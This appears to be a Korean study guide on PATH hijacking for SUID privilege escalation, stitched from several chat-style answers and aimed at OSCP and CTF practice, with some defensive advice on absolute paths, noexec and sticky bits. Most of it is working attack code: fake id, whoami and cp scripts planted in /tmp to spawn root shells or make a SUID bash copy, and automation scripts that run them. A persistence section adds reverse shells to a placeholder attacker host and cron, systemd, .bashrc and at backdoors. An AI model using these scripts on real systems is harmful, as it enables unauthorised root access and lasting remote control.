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🧠 PATH 하이재킹 (PATH Hijacking) – 심층 원리 정리

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✅ 1. 개념 (Definition)

PATH 하이재킹이란?

운영체제의 $PATH 환경변수(PATH Environment Variable) 를 조작하여, 시스템이 실행하려는 정상 명령어(binary) 대신 공격자가 만든 악성 실행파일(malicious executable) 을 먼저 실행되도록 유도하는 공격 기법.

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✅ 2. 역할 & 목적 (Role & Objective)

구분	설명
역할	시스템이 명령어 검색 시 참조하는 경로 우선순위를 악용하여, 가짜 실행파일이 정상 명령어 대신 실행되도록 함
목적	루트 권한 탈취(SUID Binary 이용), 악성 코드 삽입, 시스템 장악 등

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✅ 3. 구조 및 구성요소 (Structure & Components)

구성요소	설명
$PATH 환경변수	명령어 검색 경로 목록. :으로 구분된 디렉토리 목록
SUID 바이너리	루트 권한으로 실행되는 프로그램. 절대경로 없이 명령어 실행 시 취약점 발생 가능
악성 스크립트	공격자가 $PATH 앞쪽에 위치시킨 가짜 명령어 스크립트
export 명령어	export PATH=/tmp:$PATH 등을 통해 PATH 앞쪽에 공격자가 만든 디렉토리 삽입

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✅ 4. 동작 원리 (Working Principle)

1. 사용자가 명령어(id 등) 를 입력하거나 프로그램이 명령어를 호출함 (e.g., system("id"))
2. 시스템은 $PATH에 나열된 디렉토리 순서대로 id 파일을 찾음
3. 공격자가 우선순위가 가장 높은 디렉토리(/tmp 등) 에 id 라는 악성 스크립트를 심어둠
4. 시스템은 이를 먼저 발견하고 실행함 → 공격자 코드 실행

즉, “누가 먼저 PATH에 등록됐냐”에 따라 실행 결과가 완전히 달라짐

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✅ 5. 공격 조건 (Prerequisites)

조건	설명
SUID root 바이너리	루트 권한을 가진 바이너리 실행파일
절대 경로 없이 명령 실행	system("id") vs system("/usr/bin/id")
공격자가 PATH 수정 가능	환경변수 조작 권한 필요
쓰기 가능한 디렉토리 (/tmp 등)	공격자가 가짜 명령어를 심을 수 있어야 함

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✅ 6. 종류 (Variants)

종류	설명
일반 PATH 하이재킹	$PATH 앞에 디렉토리를 추가하여 실행 순서를 변경
환경 변수 오염 (Environment Variable Injection)	LD_PRELOAD, LD_LIBRARY_PATH 등 다른 환경변수를 조작
디렉토리 하이재킹	/usr/bin 같은 디렉토리를 재마운트하거나 바꿔치기

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✅ 7. 핵심 용어 정리

용어	의미
$PATH	명령어 검색 디렉토리 경로 목록
SUID (Set User ID)	실행 시 실행자 권한이 아닌 파일 소유자 권한으로 동작
system()	C 언어에서 쉘 명령어를 실행하는 함수
export	환경변수를 설정하는 쉘 명령어
chmod +x	파일에 실행 권한을 부여

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✅ 8. 특징 (Features)

특징	설명
취약점 발생 위치가 명확치 않음	코드 내부의 system() 호출 등으로 추적 어려움
매우 단순하지만 효과적	설정 몇 줄로 root shell 획득 가능
사용자 실수 및 설계 오류 악용	경로 하드코딩 누락 등
탐지 어려움	공격 흔적이 일시적, 흔히 사용되는 디렉토리 이용

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✅ 9. 장단점 (Pros & Cons)

구분	장점	단점
공격자 입장	루트 권한 탈취 가능, 도구 거의 필요 없음	환경변수 수정 제한, SUID 바이너리 필요
방어자 입장	단순한 정책/코딩 실수로 쉽게 방어 가능	코드 리뷰 없을 경우 취약점 발견 어려움

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✅ 10. 실제 공격 시나리오 예시

# 1. /tmp 디렉토리에 악성 id 생성
echo '#!/bin/bash' > /tmp/id
echo '/bin/bash' >> /tmp/id
chmod +x /tmp/id

# 2. PATH 앞에 /tmp 삽입
export PATH=/tmp:$PATH

# 3. 대상 프로그램 실행
/usr/sbin/pwm  # SUID root이고 내부에서 system("id") 호출 시 root 쉘

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✅ 11. 방어 방법

방법	설명
명령어 호출 시 절대 경로 사용	system("/usr/bin/id")
$PATH 환경변수 고정	PATH 하드코딩 또는 최소 권한 디렉토리만 포함
SUID 바이너리에서 system() 사용 금지	execve() 함수 등으로 대체
tmp 디렉토리 퍼미션 제한	Sticky bit 설정, 실행권한 제한 등

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✅ 12. 어린이 버전 요약 ✨

시스템은 “명령어(id)”를 찾을 때, “어디서 먼저 찾을까?” 라고 생각해요.
만약 공격자가 먼저 찾히는 곳(/tmp) 에 가짜 id 를 만들어두면?
진짜 대신 가짜가 실행돼요!
이걸 이용해서 루트 권한으로 쉘 열기도 할 수 있어요! 😈

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✅ 13. 관련 심화 개념

• strace: 시스템 호출 추적 도구 → 어떤 명령이 실행되는지 추적 가능
• SUID + system() 사용의 위험성 → 백도어로 악용될 수 있음
• 환경 변수 오염(Environment Variable Poisoning)
• Sticky bit: /tmp 같은 디렉토리에서 사용자 간 삭제 제한

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✅ 14. 실무 예시 (CTF/OSCP 실습에 자주 나옴)

• OSCP 등에서는 /usr/bin/something 이 SUID root로 되어 있고, 내부에서 system("whoami") 호출할 때, PATH=/tmp:$PATH 하고 /tmp/whoami에 /bin/bash 넣는 식으로 exploit.

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좋습니다! 앞에서 PATH 하이재킹의 원리와 구조를 깊게 설명했으니, 이번에는 이어서 다음 내용을 심화 설명드리겠습니다:

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🔍 PATH 하이재킹 – 심화 내용 및 실습 예제

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✅ 15. strace 를 이용한 실제 동작 확인 (실행 흐름 추적)

strace는 시스템 호출을 추적하는 도구입니다. 프로그램이 어떤 명령어를 실행했는지, 어떤 파일을 열었는지, 어디에서 실패했는지 등을 확인할 수 있습니다.

💡 예시: system("id") 를 사용하는 바이너리 분석

# strace 명령어로 실행 추적
strace /usr/sbin/pwm 2>&1 | grep exec

🔍 출력 예시

execve("/usr/sbin/pwm", ["/usr/sbin/pwm"], 0x7ffed58dbf38 /* 50 vars */) = 0
execve("/usr/local/bin/id", ["id"], 0x7ffed58dbf38 /* 50 vars */) = -1 ENOENT
execve("/usr/bin/id", ["id"], 0x7ffed58dbf38 /* 50 vars */) = 0

• /usr/sbin/pwm이 id 명령을 실행할 때 절대 경로가 아닌 이름만 사용했음을 알 수 있음
• PATH 순서대로 execve() 시스템 호출이 일어남

✅ 공격자는 /tmp/id를 먼저 찾도록 PATH를 조작하면 /usr/bin/id가 아니라 가짜가 실행됨!

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✅ 16. 다양한 실습 예시

🎯 예제 1: 기본 PATH 하이재킹 with id 명령

# 1. 공격자가 /tmp 디렉토리에 악성 id 생성
echo -e '#!/bin/bash\n/bin/bash' > /tmp/id
chmod +x /tmp/id

# 2. 공격자가 PATH를 조작
export PATH=/tmp:$PATH

# 3. SUID 바이너리 실행
/usr/sbin/pwm

• 결과: 루트 쉘 획득 가능 (전제: pwm이 SUID root이고, 내부에서 id 명령을 절대경로 없이 호출)

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🎯 예제 2: whoami 명령을 악용

echo -e '#!/bin/bash\necho "Got root!" && /bin/bash' > /tmp/whoami
chmod +x /tmp/whoami
export PATH=/tmp:$PATH

/usr/sbin/suid_binary  # 내부에서 whoami 실행 시 exploit

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🎯 예제 3: 파일 조작 스크립트 (cp, mv, ls 등)

echo -e '#!/bin/bash\ncp /bin/bash /tmp/rootbash\nchmod +s /tmp/rootbash' > /tmp/cp
chmod +x /tmp/cp
export PATH=/tmp:$PATH

/usr/sbin/suid_program_that_calls_cp

• 결과: /tmp/rootbash 가 SUID root 로 변경됨 → ./rootbash -p 로 루트 쉘

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🎯 예제 4: 로그 기록용 echo 명령어 하이재킹

echo -e '#!/bin/bash\necho "owned" >> /tmp/hacked.log' > /tmp/echo
chmod +x /tmp/echo
export PATH=/tmp:$PATH

/usr/sbin/log_writer_binary

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✅ 17. 실무에서 자주 발생하는 SUID 취약 명령 패턴

SUID 루트 바이너리가 다음과 같은 방식으로 명령을 실행할 경우 취약해질 수 있습니다:

// 내부 코드 (C언어 예시)
#include <stdlib.h>
void vuln() {
    system("id");
}

// 내부 bash 스크립트
#!/bin/bash
whoami

이 경우, 절대경로 사용 안함 → 공격자에게 기회 제공.

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✅ 18. 환경변수 오염 (관련 기법과 차이점)

기법	설명	조건
PATH 하이재킹	가짜 명령어가 먼저 실행되도록 경로 우선순위 변경	내부 명령 실행이 상대경로일 때
LD_PRELOAD 하이재킹	라이브러리 대신 가짜 동적 라이브러리를 로딩	SUID에서는 무효
LD_LIBRARY_PATH	공유 라이브러리 검색 경로 변경	마찬가지로 SUID 바이너리에선 제한됨

LD_* 계열은 보통 SUID 프로그램에는 무시됩니다.
그러므로 SUID 바이너리를 노릴 때는 PATH 하이재킹이 더 효과적입니다.

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✅ 19. 방어 전략 요약

방법	설명
절대 경로 사용	system("/usr/bin/id") 처럼 정확한 위치 명시
PATH 고정	PATH=/usr/bin:/bin 식으로 고정값만 사용
환경변수 초기화	프로그램 시작 시 불필요한 env 제거
tmp 사용 제한	/tmp에 실행 권한 없도록 mount 옵션 적용 (noexec)
프로그램 검증	strace, lsof, checksec 도구로 취약한 SUID 바이너리 확인

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✅ 20. 종합 흐름도 (공격 프로세스 요약)

[공격자 권한 획득된 쉘]
        ↓
[가짜 명령어 제작 (id, whoami 등)]
        ↓
[실행 권한 부여 → chmod +x]
        ↓
[PATH 환경변수 앞쪽에 삽입 → export PATH=/tmp:$PATH]
        ↓
[SUID Binary 실행 (내부에서 system()으로 명령 실행)]
        ↓
[가짜 명령어 먼저 실행됨 → 악성 코드 동작]
        ↓
[root shell 획득 or 권한 상승]

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✅ 21. 검증 도구

도구	역할
strace	내부 명령어 흐름 추적
checksec	바이너리 보안 설정 확인 (SUID 여부 등)
find / -perm -4000 -type f 2>/dev/null	시스템 내 SUID 바이너리 탐색
env	현재 환경변수 확인
strings	바이너리 내부 문자열 분석 (어떤 명령 호출하는지 파악)

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✅ 22. OSCP 및 CTF 대비 팁

• SUID 바이너리를 보면 가장 먼저:

  1. strings binaryname 으로 내부 명령 확인
  2. 절대 경로 없이 쓰였는지 확인
  3. strace로 어떤 명령어를 실행하는지 실시간 확인
  4. 가짜 명령어 만들고 PATH 하이재킹 시도

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네! 말씀하신 4가지 주제에 대해 심층적으로 자세히 설명드리겠습니다.

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1. Sticky Bit, noexec Mount 옵션

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Sticky Bit (스티키 비트)

개념	파일 시스템 권한 비트 중 하나로, 주로 디렉토리에 적용됨
목적	디렉토리 내 파일을 오직 소유자, 디렉토리 소유자, root만 삭제할 수 있도록 제한
주로 적용되는 곳	/tmp, /var/tmp 등 공용 임시 디렉토리

설명:
/tmp 같은 공용 디렉토리는 여러 사용자가 파일을 만들고 삭제할 수 있는데, sticky bit가 없으면 다른 사용자가 나의 파일을 삭제할 수 있습니다. sticky bit를 설정하면 오직 본인만 자신의 파일을 삭제하거나 이름 변경 가능.

설정 방법:

chmod +t /tmp

효과:
사용자 A가 만든 악성 스크립트를 사용자 B가 삭제하지 못하게 방지해 줌.

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noexec Mount 옵션

개념	특정 디렉토리에서 실행 권한을 제한하는 마운트 옵션
목적	/tmp 같은 디렉토리에서 실행파일 실행 금지 (실행 제한)
효과	/tmp에 악성 스크립트를 심어도 실행이 되지 않음

설정 예시:

mount -o remount,noexec /tmp

/etc/fstab에 다음과 같이 설정할 수도 있음:

tmpfs /tmp tmpfs defaults,noexec,nosuid,nodev 0 0

방어 효과:
악성 스크립트를 /tmp에 심더라도 실행 자체가 불가능하여 PATH 하이재킹 방지에 큰 도움.

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2. LD_PRELOAD 하이재킹 원리

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개념

LD_PRELOAD는 동적 라이브러리를 실행 시 프로세스에 강제로 먼저 로드하는 환경 변수입니다.

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동작 원리

• 리눅스 프로그램은 보통 동적 라이브러리를 사용하며, /lib나 /usr/lib에서 로드됨
• LD_PRELOAD에 지정된 라이브러리가 가장 먼저 로드되어, 기존 라이브러리 함수(예: open, execve 등)를 가로챔
• 이를 악용해 함수 호출을 가로채고, 악성 동작을 수행 가능

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사용 예

export LD_PRELOAD=/tmp/malicious.so
./vulnerable_program

• malicious.so에서 open(), execve() 같은 시스템 호출 후킹 가능

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주의점

• SUID 바이너리 실행 시 LD_PRELOAD는 무시됨!
  보안 상의 이유로 SUID 프로그램 실행 시 환경 변수 LD_PRELOAD는 자동 제거됨
• 따라서 LD_PRELOAD 하이재킹은 SUID가 아닌 일반 권한 프로그램에서 주로 사용

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3. 쉘 자동 실행 및 지속성 확보 방법

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1) 쉘 자동 실행

• 악성 스크립트나 바이너리를 실행하여 쉘을 자동으로 띄우는 것

예:

#!/bin/bash
/bin/bash

• 혹은 특정 포트로 리버스 쉘 연결

bash -i >& /dev/tcp/attacker_ip/1234 0>&1

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2) 쉘 지속성 확보 방법

• 공격자가 접속 후 쉘이 끊어져도 다시 접속 가능하도록 하는 것

방법	설명
백도어 서비스 설치	cron, systemd 등에 쉘 스크립트 등록하여 주기 실행
.bashrc, .profile 수정	로그인 시 악성 명령 자동 실행
at 명령어 예약	단발성 쉘 실행 예약
리버스 쉘 유지	while true; do bash -i >& /dev/tcp/...; sleep 10; done

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예: cron에 리버스 쉘 등록

(crontab -l 2>/dev/null; echo "* * * * * /tmp/rev_shell.sh") | crontab -

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4. SUID Exploit 자동화 스크립트 예시 (Bash)

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목적

• PATH 하이재킹 공격 자동화
• 실행권한 부여 → PATH 조작 → SUID 바이너리 실행 → 쉘 획득까지 자동 수행

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예시 스크립트 (bash)

#!/bin/bash

# 1. 공격용 가짜 명령어 생성 (/tmp/id)
echo -e '#!/bin/bash\n/bin/bash' > /tmp/id
chmod +x /tmp/id

# 2. PATH 앞쪽에 /tmp 추가
export PATH=/tmp:$PATH

# 3. 취약 SUID 바이너리 실행
/usr/sbin/pwm

# 4. 쉘이 떨어지지 않으면 아래 커맨드 직접 실행 가능
# /tmp/id

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확장 버전 (whoami, cp 등 다중 악성 스크립트 생성)

#!/bin/bash

declare -A payloads
payloads=( ["id"]="/bin/bash" ["whoami"]="echo Got Root && /bin/bash" ["cp"]="cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash" )

for cmd in "${!payloads[@]}"; do
    echo -e "#!/bin/bash\n${payloads[$cmd]}" > /tmp/$cmd
    chmod +x /tmp/$cmd
done

export PATH=/tmp:$PATH
/usr/sbin/pwm

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주의사항

• 자동화 스크립트 실행 전, 대상 바이너리의 내부 명령어 호출 패턴(절대경로 유무)과 SUID 여부를 반드시 확인하세요.
• 환경 변수 조작이 제한된 경우, 공격 실패 가능성 존재합니다.

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네! 세 주제 모두 심층적으로 깊이 있게 설명드리겠습니다.

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1. Sticky Bit, noexec Mount 심화

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Sticky Bit 심층 이해

• Sticky bit는 디렉토리에 설정되는 특수 권한 비트입니다.
• 일반 파일에서 설정되면(드물게), 시스템에서 중요한 의미를 갖지만, 현대 리눅스에서 가장 주목받는 것은 디렉토리에 설정된 경우입니다.

동작 원리:

• 디렉토리에 sticky bit가 있으면

  • 디렉토리 내에서 파일 삭제 또는 이름 변경 권한을 소유자, 디렉토리 소유자, root로 제한합니다.
  • 즉, 일반 사용자는 다른 사용자의 파일을 삭제할 수 없습니다.

사용 예: /tmp 디렉토리

ls -ld /tmp
drwxrwxrwt 12 root root 4096 Jun 20 15:00 /tmp
          ↑
          └ sticky bit (t)

• /tmp는 모든 사용자에게 쓰기 권한이 있지만, sticky bit(t)가 있어서
  각자가 만든 파일은 자기 자신만 삭제 가능

취약점 방어에 미치는 영향:

• 공격자가 /tmp에 악성 스크립트 파일을 만들더라도
• 다른 사용자가 그 파일을 삭제하는 것을 막고,
• 동시에 /tmp를 완전히 비워서 방어하는 공격자는 제한됨.

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noexec Mount 심층 이해

noexec는 마운트 옵션 중 하나로, 해당 파일 시스템 내에서 실행 권한을 가진 파일도 실행을 막는 옵션입니다.

• 파일 권한 상 실행 가능해도, noexec 마운트에서는 실행 불가
• 주로 /tmp와 같은 임시 파일 시스템에서 설정

실제 동작:

mount -o remount,noexec /tmp

• 이미 마운트된 /tmp를 다시 마운트하면서 noexec 옵션 적용
• 이후 /tmp 내에서 실행권한이 있어도 ./script.sh 같은 실행 불가

검증:

/tmp$ echo -e '#!/bin/bash\necho hello' > test.sh
/tmp$ chmod +x test.sh
/tmp$ ./test.sh
bash: ./test.sh: Permission denied

방어 효과:

• 공격자가 /tmp에 악성 스크립트 심어도 실행 불가 → PATH 하이재킹 차단
• 다만, 스크립트를 bash로 명시적으로 실행하는 경우는 실행 가능
  (예: bash /tmp/test.sh는 실행됨, ./test.sh는 안 됨)

대응:

• 가능한 한 /tmp에 noexec 적용 권장
• /tmp를 노리는 공격 대부분 차단 가능

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2. LD_PRELOAD 하이재킹 심층

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LD_PRELOAD 내부 원리

• ELF 리눅스 바이너리가 동적 라이브러리를 로딩할 때,
• LD_PRELOAD 환경변수에 지정된 라이브러리를 최우선으로 로드하여 기존 함수 호출을 가로챕니다.

동작 순서:

1. LD_PRELOAD 경로의 .so 파일을 로드
2. .so 내부에서 기존 함수(예: open, execve)를 재정의
3. 호출 시 가로채서 원하는 동작 수행 가능

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예시: open 함수 후킹

malicious.so C 코드 일부:

#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdio.h>

int open(const char *pathname, int flags) {
    static int (*orig_open)(const char *, int) = NULL;
    if (!orig_open) {
        orig_open = dlsym(RTLD_NEXT, "open");
    }
    printf("open called for: %s\n", pathname);
    return orig_open(pathname, flags);
}

• open 호출 시 로그 출력 후 원래 함수 호출

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제한 및 주의

• SUID 바이너리에서 LD_PRELOAD는 보안 상 자동으로 무시됨
• 따라서 SUID 권한 상승 공격에는 불가
• 일반 프로그램 권한 상승, 디버깅, 우회 등에서 주로 활용됨

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공격 시나리오

• 로컬 권한으로 실행 가능한 서비스가
• 특정 기능을 open 등 시스템 함수 호출로 수행하는 경우
• 악성 LD_PRELOAD 라이브러리를 사용해 권한 상승 시도 가능

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3. 쉘 자동 실행 및 지속성 확보 심층

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1) 쉘 자동 실행 상세

• 쉘을 자동으로 실행하는 스크립트 작성 시 다음 포인트 중요:

방법	설명	장점	단점
단순 쉘 실행	#!/bin/bash + /bin/bash 호출	간단	쉘 끊어지면 종료
리버스 쉘 연결	bash -i >& /dev/tcp/ip/port 0>&1	외부 접속 가능	방화벽/네트워크 제약
포워드 쉘	nc -e /bin/bash ip port	공격자 접속 시 실행	nc 없으면 실패

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2) 쉘 지속성 확보 상세

• 쉘이 끊어져도 다시 실행하게 하는 여러 방법

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a. cron 잡 등록

(crontab -l 2>/dev/null; echo "* * * * * /tmp/rev_shell.sh") | crontab -

• 1분마다 /tmp/rev_shell.sh 실행

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b. systemd 서비스 생성

cat <<EOF > /etc/systemd/system/revshell.service
[Unit]
Description=Reverse Shell

[Service]
ExecStart=/tmp/rev_shell.sh

[Install]
WantedBy=multi-user.target
EOF

systemctl enable revshell.service
systemctl start revshell.service

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c. 로그인 스크립트 수정

• ~/.bashrc 또는 /etc/profile 등에 쉘 실행 명령 추가

echo "/tmp/rev_shell.sh" >> ~/.bashrc

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d. at 명령 예약 (일회성)

echo "/tmp/rev_shell.sh" | at now + 1 minute

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3) 쉘 자동 재접속 스크립트 (루프 구조)

#!/bin/bash
while true; do
  bash -i >& /dev/tcp/attacker_ip/1234 0>&1
  sleep 10
done

• 연결이 끊겨도 10초 후 자동 재연결 시도

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4. SUID Exploit 자동화 스크립트 심층

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자동화 스크립트 설계 핵심

• 가짜 명령어 생성 → 실행 권한 부여 → PATH 조작 → 취약 SUID 바이너리 실행 → 쉘 획득
• 공격 대상 바이너리 내부 명령어 호출을 사전에 파악해야 함

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1) 내부 명령어 확인

strings /usr/sbin/pwm | grep -E 'id|whoami|cp|mv|echo'

• 어떤 명령어가 호출되는지 확인 후 가짜 명령어 생성

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2) 실행권한 부여 및 PATH 설정

for cmd in id whoami cp; do
  echo -e '#!/bin/bash\n/bin/bash' > /tmp/$cmd
  chmod +x /tmp/$cmd
done

export PATH=/tmp:$PATH

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3) SUID 바이너리 실행 및 쉘 확인

/usr/sbin/pwm

• 쉘이 획득되지 않으면 /tmp/id 직접 실행해도 됨

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4) 자동화 스크립트 예제 (확장판)

#!/bin/bash

# 가짜 명령어와 페이로드 정의
declare -A payloads
payloads=(
  [id]="/bin/bash"
  [whoami]="echo 'Got root!' && /bin/bash"
  [cp]="cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash"
)

# 가짜 명령어 생성
for cmd in "${!payloads[@]}"; do
  echo -e "#!/bin/bash\n${payloads[$cmd]}" > /tmp/$cmd
  chmod +x /tmp/$cmd
done

# PATH 우선순위 변경
export PATH=/tmp:$PATH

# 취약한 SUID 바이너리 실행
/usr/sbin/pwm

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5) 취약점 탐색 자동화 (find + checksec)

# SUID 바이너리 리스트 출력
find / -perm -4000 -type f 2>/dev/null > suid_bins.txt

# checksec 설치 후 권한 확인 자동화 (예: checksec --file=filename)
while read -r bin; do
  echo "Checking $bin"
  checksec --file=$bin
done < suid_bins.txt

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